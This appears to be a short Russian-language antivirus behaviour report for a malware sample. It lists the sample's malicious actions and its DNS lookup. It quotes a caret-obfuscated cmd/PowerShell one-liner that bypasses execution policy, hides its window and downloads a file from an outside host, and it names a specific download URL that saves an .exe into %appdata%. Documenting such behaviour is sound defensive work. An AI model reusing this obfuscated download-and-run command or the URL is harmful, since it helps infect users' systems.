Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^o^w^ErS^heLl.^eXE^ -e^x^e^CUTio^npO^LiCY^ by^p^aS^s ^-NoPRoF^ILE -^W^I^N^Do^W^sTyL^e ^H^I^D^De^n^ (^nE^w-oBJECT SYS^t^e^m^.net^.WE^BC^Li^e^NT^)^.^d^owN^lOaD^fI^l^e(^'htt...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^o^w^ErS^heLl.^eXE^ -e^x^e^CUTio^npO^LiCY^ by^p^aS^s ^-NoPRoF^ILE -^W^I^N^Do^W^sTyL^e ^H^I^D^De^n^ (^nE^w-oBJECT SYS^t^e^m^.net^.WE^BC^Li^e^NT^)^.^d^owN^lOaD^fI^l^e(^'htt...' (со скрытым окном)
